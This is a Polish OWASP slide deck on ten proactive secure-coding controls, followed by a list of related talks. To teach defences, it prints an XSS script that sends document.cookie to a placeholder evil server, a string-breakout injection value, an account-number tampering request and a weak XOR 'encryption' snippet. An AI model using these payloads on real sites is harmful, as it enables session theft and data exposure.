SlideShare uma empresa Scribd logo
1 de 54
10 przykazań bezpiecznego
programowania
OWASP Top Ten Proactive Controls
Wojciech Dworakowski, SecuRing
OWASP Poland Chapter Leader
Wojtek Dworakowski
@wojdwo
CEO (od 2003)
Testowanie i doradztwo w zakresie
bezpieczeństwa aplikacji i systemów IT
OWASP Poland
Chapter Leader (od 2011)
OWASP
O = Open
• Materiały i narzędzia
– za darmo
– licencje Creative Commons
– open source
• Tworzone na zasadach otwartej współpracy
– każdy może przyłączyć się
3
OWASP Poland Chapter
• Od 2007
• Spotkania: Kraków, Poznań, Warszawa
• Wstęp wolny
• Wspierają nas:
Ankieta na 4Developers 2014*
* Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w
polskich firmach – 2014”
• 62% firm nie edukuje programistów w zakresie
bezpieczeństwa aplikacji
• >50% firm nie uwzględnia bezpieczeństwa na etapie
projektowania
• 73% pytanych potwierdziło, że wprowadzało
poprawki wynikające z testów bezpieczeństwa
• Tylko 42% potwierdziło że przed wdrożeniem
wykonują testy bezpieczeństwa
OWASP Top10 Risk vs
OWASP Top10 Proactive Controls
Disclaimer
• Nie można opierać bezpieczeństwa aplikacji
tylko na podstawie Top 10
– To materiał edukacyjny
– Każda aplikacja ma swój specyficzny profil ryzyka
1: Parameterize Queries
SQL/LDAP/XML/cmd/…-injection
Łatwe do wykorzystania
• proste w użyciu narzędzia automatyzujące atak
Znaczne skutki ataku
Źródło: http://xkcd.com/327/
Dobre praktyki
#1 Zapytania parametryzowane
– Prepared Statements / Parametrized Queries
#2 Stored Procedures
– Uwaga na wyjątki! (eval, blok dynamiczny, etc.)
#3 Escaping
– ryzykowne!
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
Narzędzia i materiały
• Bobby Tables: A guide to preventing SQL
injection
• Query Parameterization Cheat Sheet
• SQL Injection Prevention Cheat Sheet
• OWASP Secure Coding Practices Quick
Reference Guide
2: Encode Data
XSS
• Zmiana treści strony
• Przechwycenie sesji
<script>document.body.innerHTML(“Jim was here”);</script>
<script>
var img = new Image();
img.src="http://<some evil server>.com?” + document.cookie;
</script>
Skutki braku kodowania znaków
specjalnych
• Session hijacking
• Network scanning
• Obejście zabezpieczeń przed CSRF
• Zmiana zawartości strony (w przeglądarce)
• …
• Przejęcie kontroli nad przeglądarką
– vide BeEF
Historia pewnej aplikacji
Cross Site Scripting
Ale często wklejenie bezpośrednio w kontekst
javascript:
<script> var split='<bean:write name="transferFormId"
property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
Dobre praktyki
• Kodowanie znaków specjalnych odpowiednie
do kontekstu użycia
– element HTML
– Atrybut HTML
– JavaScript
– JSON
– CSS / style
– URL
Narzędzia i materiały
• XSS (Cross Site Scripting) Prevention Cheat
Sheet
• Java Encoder Project
• Microsoft .NET AntiXSS Library
• OWASP ESAPI
• Encoder Comparison Reference Project
3: Validate All Inputs
Po co walidacja?
• Większość innych podatności (np. injection,
xss, …) wynika (również) z braku walidacji
• Walidacja jest jak firewall
– Nie zabezpiecza przed wszystkim
– …ale dobrze ją mieć
Dobre praktyki
• Walidacja wg whitelisty a nie blacklisty,
• Typowanie pól
– najlepiej „systemowo” a nie per formularz.
– Porządkuje to bezpieczeństwo w wielu warstwach
– np. potem łatwo można użyć do reguł WAF
• Walidacja pierwszą linią obrony
– np. silne rzutowanie typów zapobiegnie injection,
– ale nie może być jedyną !
Narzędzia i materiały
• Input Validation Cheat Sheet
• Apache Commons Validator
• OWASP JSON Sanitizer Project
• OWASP Java HTML Sanitizer Project
• Google Caja
4: Implement Appropriate
Access Controls
Historia rachunku
Żądanie HTTP po przechwyceniu
GET /services/history/account/85101022350445200448009906 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Podmiana nr rachunku – uzyskujemy cudze dane
Dobre praktyki
• Decyzja po stronie serwera !
• Default deny
• Wszystkie żądania muszą przejść przez
kontrolę uprawnień
– scentralizowany, spójny mechanizm
• Zasady kontroli dostępu (policy) osobne od
kodu
– a nie jako część kodu
if (currentUser.hasRole(“administrator”)) {
//pozwol
} else {
//zabron
}
If (currentUser.isPermitted(printPermission)) {
//pozwol
} else {
//zabron
}
Narzędzia i materiały
• Access Control Cheat Sheet
• Java Authorization Guide with Apache Shiro
– Apache Shiro Authorization features
• OWASP PHPRBAC Project
5: Establish Identity and
Authentication Controls
Przykład defektu
• Uwierzytelnienie kluczem lokalnie trzymanym
na komputerze
• Proces logowania:
1. podajemy login
2. wybieramy plik z kluczem, wprowadzamy hasło
do klucza
3. jesteśmy zalogowani
https://...../GenerateNewKey
Dobre praktyki
• Sprawdź prawa dostępu do funkcji
pozwalających na zmianę danych
uwierzytelniających
• Zasada „łańcucha zaufania”
• Uwaga na sesyjność „na granicy” !
• Nie limituj długości i znaków które można użyć
w haśle
Narzędzia i materiały
• Authentication Cheat Sheet
• Password Storage Cheat Sheet
• Forgot Password Cheat Sheet
• Session Management Cheat Sheet
6: Protect Data and Privacy
at transit
at rest
Przykład defektu (at transit)
• SSL zapewnia szyfrowanie i autentyczność
• Co weryfikuje autentyczność serwera?
– Aplikacje przeglądarkowe: Przeglądarka
– Aplikacje mobilne / thick-client / embedded…:
Aplikacja
• Najczęstsze błędy
– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”
– Brak obsługi wyjątku
Dobre praktyki (in transit)
• TLS
• Dla całości aplikacji
• Cookies: flaga „Secure”
• HTTP Strict Transport Security
• Zestawy silnych szyfrów
• Chain of trust
• Certificate pinning
Narzędzia i materiały (in transit)
• Transport Layer Protection Cheat Sheet
• Pinning Cheat Sheet
• OWASP O-Saft (SSL Audit for Testers)
Przykład defektu (at rest)
• Przechowywanie haseł
• „Własna” implementacja SHA1
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}
Dobre praktyki (at rest)
• Nie próbuj wynaleźć koła !
– Własne szfry są ZŁE
– Własna implementacja crypto jest ZŁA
– Sprawdzone biblioteki
• Silne szyfry w silnych trybach
– ECB jest ZŁE
– CBC – uwaga na „padding oracle”
• Dobre źródło losowości dla IV
Narzędzia i materiały
• Google KeyCzar
• Cryptographic Storage Cheat Sheet
• Password Storage Cheat Sheet
7: Implement Logging, Error
Handling and Intrusion
Detection
Narzędzia i materiały
• Logging Cheat Sheet
• OWASP AppSensor Project
8: Leverage Security Features of
Frameworks and Security
Libraries
Narzędzia i materiały
• PHP Security Cheat Sheet
• .NET Security Cheat Sheet
• Spring Security
• Apache Shiro
• OWASP Dependency Check / Track
9: Include Security-Specific
Requirements
Definiowanie wymagań
• Scenariusze ataku
– Jak zagrożenia mogą osiągnąć cele?
– Wymaga doświadczenia i wiedzy eksperckiej
• Dobranie zabezpieczeń == WYMAGANIA
Zagrożenia Skutki
Scenariusze
ataku
Kto? Jak? Co?
Narzędzia i materiały
• OWASP Application Security Verification
Standard Project
• Software Assurance Maturity Model
• Business Logic Security Cheat Sheet
• Testing for business logic (OWASP-BL-001)
10: Design and Architect
Security In
Narzędzia i materiały
• Software Assurance Maturity Model
(OpenSAMM)
• Application Security Verification Standard
Project
• Application Security Architecture Cheat Sheet
• Attack Surface Analysis Cheat Sheet
• Threat Modeling Cheat Sheet
Podsumowanie
To tylko Top Ten !
• Każda aplikacja jest inna
– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)
– i uwzględnić „zgodność z przepisami”
• Kilka prostych kroków daje duże efekty
• Warto edukować programistów w zakresie
bezpieczeństwa
Spotkania OWASP
https://www.owasp.org/index.php/Poland
Lista mailingowa
Facebook: OWASP Poland Local Chapter
Twitter: @owasppoland
Dziękuję
Wojciech Dworakowski
@wojdwo
wojciech.dworakowski@securing.pl
http://www.securing.pl

Mais conteúdo relacionado

Mais procurados

OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...Logicaltrust pl
 
Testowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychTestowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychSecuRing
 
Możliwości złośliwego oprogramowania na platformy mobilne
Możliwości złośliwego oprogramowania na platformy mobilneMożliwości złośliwego oprogramowania na platformy mobilne
Możliwości złośliwego oprogramowania na platformy mobilneSecuRing
 
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Logicaltrust pl
 
Narzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWW
Narzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWWNarzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWW
Narzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWWLogicaltrust pl
 
Krytyczne błędy konfiguracji
Krytyczne błędy konfiguracjiKrytyczne błędy konfiguracji
Krytyczne błędy konfiguracjiLogicaltrust pl
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
 
(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnych(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnychSecuRing
 
(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnych(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnychSlawomir Jasek
 
Pentester - fakty i mity
Pentester - fakty i mityPentester - fakty i mity
Pentester - fakty i mityLogicaltrust pl
 
Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?
Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?
Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?SecuRing
 
Bezpieczeństwo aplikacji mobilnych
Bezpieczeństwo aplikacji mobilnychBezpieczeństwo aplikacji mobilnych
Bezpieczeństwo aplikacji mobilnychSecuRing
 
Bezpieczeństwo aplikacji czy musi być aż tak źle
Bezpieczeństwo aplikacji   czy musi być aż tak źleBezpieczeństwo aplikacji   czy musi być aż tak źle
Bezpieczeństwo aplikacji czy musi być aż tak źleSecuRing
 
Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?OWASP
 
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue TeamuPiotr Kaźmierczak
 
Owasp top 10 2010 final PL Beta
Owasp top 10   2010 final PL BetaOwasp top 10   2010 final PL Beta
Owasp top 10 2010 final PL BetaThink Secure
 
Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersWyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersLogicaltrust pl
 

Mais procurados (19)

OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
 
Devops/Sysops security
Devops/Sysops securityDevops/Sysops security
Devops/Sysops security
 
Testowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychTestowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnych
 
Devops security
Devops securityDevops security
Devops security
 
Możliwości złośliwego oprogramowania na platformy mobilne
Możliwości złośliwego oprogramowania na platformy mobilneMożliwości złośliwego oprogramowania na platformy mobilne
Możliwości złośliwego oprogramowania na platformy mobilne
 
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
 
Narzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWW
Narzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWWNarzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWW
Narzędzia do zautomatyzowanego testowania bezpieczeństwa aplikacji WWW
 
Krytyczne błędy konfiguracji
Krytyczne błędy konfiguracjiKrytyczne błędy konfiguracji
Krytyczne błędy konfiguracji
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
 
(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnych(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnych
 
(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnych(Nie)bezpieczenstwo aplikacji mobilnych
(Nie)bezpieczenstwo aplikacji mobilnych
 
Pentester - fakty i mity
Pentester - fakty i mityPentester - fakty i mity
Pentester - fakty i mity
 
Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?
Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?
Bankowość i płatności mobilne - Jak zrobić to bezpiecznie?
 
Bezpieczeństwo aplikacji mobilnych
Bezpieczeństwo aplikacji mobilnychBezpieczeństwo aplikacji mobilnych
Bezpieczeństwo aplikacji mobilnych
 
Bezpieczeństwo aplikacji czy musi być aż tak źle
Bezpieczeństwo aplikacji   czy musi być aż tak źleBezpieczeństwo aplikacji   czy musi być aż tak źle
Bezpieczeństwo aplikacji czy musi być aż tak źle
 
Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?
 
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
 
Owasp top 10 2010 final PL Beta
Owasp top 10   2010 final PL BetaOwasp top 10   2010 final PL Beta
Owasp top 10 2010 final PL Beta
 
Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersWyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers
 

Semelhante a 10 przykazań bezpiecznego programowania

WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)lpilorz
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...PROIDEA
 
OWASP Appsensor in action
OWASP Appsensor in actionOWASP Appsensor in action
OWASP Appsensor in actionLeszekMis
 
Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2Natalia Stanko
 
Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16
Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16
Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16Krzysztof Synak
 
Produkcja aplikacji internetowych
Produkcja aplikacji internetowychProdukcja aplikacji internetowych
Produkcja aplikacji internetowychTomasz Borowski
 
DevOps - what I have learnt so far
DevOps - what I have learnt so far DevOps - what I have learnt so far
DevOps - what I have learnt so far Wojciech Barczyński
 
OWASP Top10 2013
OWASP Top10 2013OWASP Top10 2013
OWASP Top10 2013SecuRing
 
Jak nadążyć za światem front-endu - WordPress Training Day
Jak nadążyć za światem front-endu - WordPress Training DayJak nadążyć za światem front-endu - WordPress Training Day
Jak nadążyć za światem front-endu - WordPress Training DayTomasz Dziuda
 
Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)
Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)
Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)Dariusz Kacban
 
Lionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API developmentLionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API developmentMichał Marcinkowski
 
Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8
Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8
Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8DreamLab
 
Ataki po stronie klienta w publicznych punktach dostępowych
Ataki po stronie klienta w publicznych punktach dostępowychAtaki po stronie klienta w publicznych punktach dostępowych
Ataki po stronie klienta w publicznych punktach dostępowychPawel Rzepa
 
Piątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPXSolve
 
infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...
infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...
infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...Infoshare
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaLeszek Mi?
 
Tech cafe Microservices
Tech cafe MicroservicesTech cafe Microservices
Tech cafe MicroservicesKonrad Król
 
Application security verification standard
Application security verification standardApplication security verification standard
Application security verification standardSecuRing
 

Semelhante a 10 przykazań bezpiecznego programowania (20)

WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
 
Testowanie na 101 sposobów
Testowanie na 101 sposobówTestowanie na 101 sposobów
Testowanie na 101 sposobów
 
OWASP Appsensor in action
OWASP Appsensor in actionOWASP Appsensor in action
OWASP Appsensor in action
 
Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2
 
Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16
Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16
Integracja środowiska testowego z użyciem Robot Framework, TrojQA 2014-12-16
 
Produkcja aplikacji internetowych
Produkcja aplikacji internetowychProdukcja aplikacji internetowych
Produkcja aplikacji internetowych
 
DevOps - what I have learnt so far
DevOps - what I have learnt so far DevOps - what I have learnt so far
DevOps - what I have learnt so far
 
OWASP Top10 2013
OWASP Top10 2013OWASP Top10 2013
OWASP Top10 2013
 
Jak nadążyć za światem front-endu - WordPress Training Day
Jak nadążyć za światem front-endu - WordPress Training DayJak nadążyć za światem front-endu - WordPress Training Day
Jak nadążyć za światem front-endu - WordPress Training Day
 
Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)
Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)
Jak zarabiać na testowaniu oprogramowania(konferencja MeeTTech Piła 27.07.2016)
 
Lionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API developmentLionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API development
 
Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8
Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8
Selenium WebDriver Testy Automatyczne w Pythonie | DreamLab Academy #8
 
Ataki po stronie klienta w publicznych punktach dostępowych
Ataki po stronie klienta w publicznych punktach dostępowychAtaki po stronie klienta w publicznych punktach dostępowych
Ataki po stronie klienta w publicznych punktach dostępowych
 
Piątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTP
 
university day 1
university day 1university day 1
university day 1
 
infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...
infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...
infoShare 2014: Michał Sierzputowski, Testy automatyczne aplikacji webowych o...
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
 
Tech cafe Microservices
Tech cafe MicroservicesTech cafe Microservices
Tech cafe Microservices
 
Application security verification standard
Application security verification standardApplication security verification standard
Application security verification standard
 

Mais de SecuRing

Developer in a digital crosshair, 2023 edition - 4Developers
Developer in a digital crosshair, 2023 edition - 4DevelopersDeveloper in a digital crosshair, 2023 edition - 4Developers
Developer in a digital crosshair, 2023 edition - 4DevelopersSecuRing
 
Developer in a digital crosshair, 2022 edition - Oh My H@ck!
Developer in a digital crosshair, 2022 edition - Oh My H@ck!Developer in a digital crosshair, 2022 edition - Oh My H@ck!
Developer in a digital crosshair, 2022 edition - Oh My H@ck!SecuRing
 
Developer in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON NameDeveloper in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON NameSecuRing
 
Is persistency on serverless even possible?!
Is persistency on serverless even possible?!Is persistency on serverless even possible?!
Is persistency on serverless even possible?!SecuRing
 
What happens on your Mac, stays on Apple’s iCloud?!
What happens on your Mac, stays on Apple’s iCloud?!What happens on your Mac, stays on Apple’s iCloud?!
What happens on your Mac, stays on Apple’s iCloud?!SecuRing
 
0-Day Up Your Sleeve - Attacking macOS Environments
0-Day Up Your Sleeve - Attacking macOS Environments0-Day Up Your Sleeve - Attacking macOS Environments
0-Day Up Your Sleeve - Attacking macOS EnvironmentsSecuRing
 
Developer in a digital crosshair, 2022 edition
Developer in a digital crosshair, 2022 editionDeveloper in a digital crosshair, 2022 edition
Developer in a digital crosshair, 2022 editionSecuRing
 
20+ Ways To Bypass Your Macos Privacy Mechanisms
20+ Ways To Bypass Your Macos Privacy Mechanisms20+ Ways To Bypass Your Macos Privacy Mechanisms
20+ Ways To Bypass Your Macos Privacy MechanismsSecuRing
 
How secure are webinar platforms?
How secure are webinar platforms?How secure are webinar platforms?
How secure are webinar platforms?SecuRing
 
20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy Mechanisms20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy MechanismsSecuRing
 
Serverless security: attack & defense
 Serverless security: attack & defense Serverless security: attack & defense
Serverless security: attack & defenseSecuRing
 
Abusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsAbusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsSecuRing
 
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standardsWebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standardsSecuRing
 
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standardsWebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standardsSecuRing
 
Let's get evil - threat modeling at scale
Let's get evil - threat modeling at scaleLet's get evil - threat modeling at scale
Let's get evil - threat modeling at scaleSecuRing
 
Attacking AWS: the full cyber kill chain
Attacking AWS: the full cyber kill chainAttacking AWS: the full cyber kill chain
Attacking AWS: the full cyber kill chainSecuRing
 
Web Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standards
Web Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standardsWeb Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standards
Web Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standardsSecuRing
 
Budowanie i hakowanie nowoczesnych aplikacji iOS
Budowanie i hakowanie nowoczesnych aplikacji iOSBudowanie i hakowanie nowoczesnych aplikacji iOS
Budowanie i hakowanie nowoczesnych aplikacji iOSSecuRing
 
We need t go deeper - Testing inception apps.
We need t go deeper - Testing inception apps.We need t go deeper - Testing inception apps.
We need t go deeper - Testing inception apps.SecuRing
 
Building & Hacking Modern iOS Apps
Building & Hacking Modern iOS AppsBuilding & Hacking Modern iOS Apps
Building & Hacking Modern iOS AppsSecuRing
 

Mais de SecuRing (20)

Developer in a digital crosshair, 2023 edition - 4Developers
Developer in a digital crosshair, 2023 edition - 4DevelopersDeveloper in a digital crosshair, 2023 edition - 4Developers
Developer in a digital crosshair, 2023 edition - 4Developers
 
Developer in a digital crosshair, 2022 edition - Oh My H@ck!
Developer in a digital crosshair, 2022 edition - Oh My H@ck!Developer in a digital crosshair, 2022 edition - Oh My H@ck!
Developer in a digital crosshair, 2022 edition - Oh My H@ck!
 
Developer in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON NameDeveloper in a digital crosshair, 2022 edition - No cON Name
Developer in a digital crosshair, 2022 edition - No cON Name
 
Is persistency on serverless even possible?!
Is persistency on serverless even possible?!Is persistency on serverless even possible?!
Is persistency on serverless even possible?!
 
What happens on your Mac, stays on Apple’s iCloud?!
What happens on your Mac, stays on Apple’s iCloud?!What happens on your Mac, stays on Apple’s iCloud?!
What happens on your Mac, stays on Apple’s iCloud?!
 
0-Day Up Your Sleeve - Attacking macOS Environments
0-Day Up Your Sleeve - Attacking macOS Environments0-Day Up Your Sleeve - Attacking macOS Environments
0-Day Up Your Sleeve - Attacking macOS Environments
 
Developer in a digital crosshair, 2022 edition
Developer in a digital crosshair, 2022 editionDeveloper in a digital crosshair, 2022 edition
Developer in a digital crosshair, 2022 edition
 
20+ Ways To Bypass Your Macos Privacy Mechanisms
20+ Ways To Bypass Your Macos Privacy Mechanisms20+ Ways To Bypass Your Macos Privacy Mechanisms
20+ Ways To Bypass Your Macos Privacy Mechanisms
 
How secure are webinar platforms?
How secure are webinar platforms?How secure are webinar platforms?
How secure are webinar platforms?
 
20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy Mechanisms20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy Mechanisms
 
Serverless security: attack & defense
 Serverless security: attack & defense Serverless security: attack & defense
Serverless security: attack & defense
 
Abusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsAbusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS apps
 
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
